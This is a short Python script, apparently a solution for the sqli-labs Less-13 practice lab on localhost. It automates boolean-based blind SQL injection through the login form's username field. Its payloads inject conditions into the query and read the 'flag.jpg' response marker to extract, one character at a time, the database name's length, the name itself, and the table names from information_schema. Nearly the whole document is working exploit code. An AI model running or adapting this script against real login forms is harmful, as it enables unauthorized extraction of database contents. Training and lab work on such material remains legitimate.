1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import requests import re url = "http://127.0.0.1/sqli-labs-master/Less-13/" def get_len_database(): for i in range(1,25): payload = "admin') and length((select database()))=%d #"%(i) data = {"uname":payload, "passwd":"admin", "submit":"submit"} html = requests.post(url=url, data=data) if "flag.jpg" in html.text: print(i) return i def get_name_database(): number = get_len_database() print(number) name = "" for i in range(1,number+1): for j in range(30,130): payload = "admin') and ascii(substr((select database()),%d,1))=%d#"%(i,j) data = {"uname":payload,"passwd":"admin","submit":"submit"} html = requests.post(url=url, data=data) if "flag.jpg" in html.text: name += chr(j) print(name) if i == number: return name break def get_name_table(): name = "" result = get_name_database() print(result) for i in range(1,30): for j in range(30,130): payload = "admin') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d#"%(i,j) data = {"uname":payload,"passwd":"admin","submit":"submit"} html = requests.post(url=url, data=data) if "flag.jpg" in html.text: name += chr(j) print(name) get_name_table()
|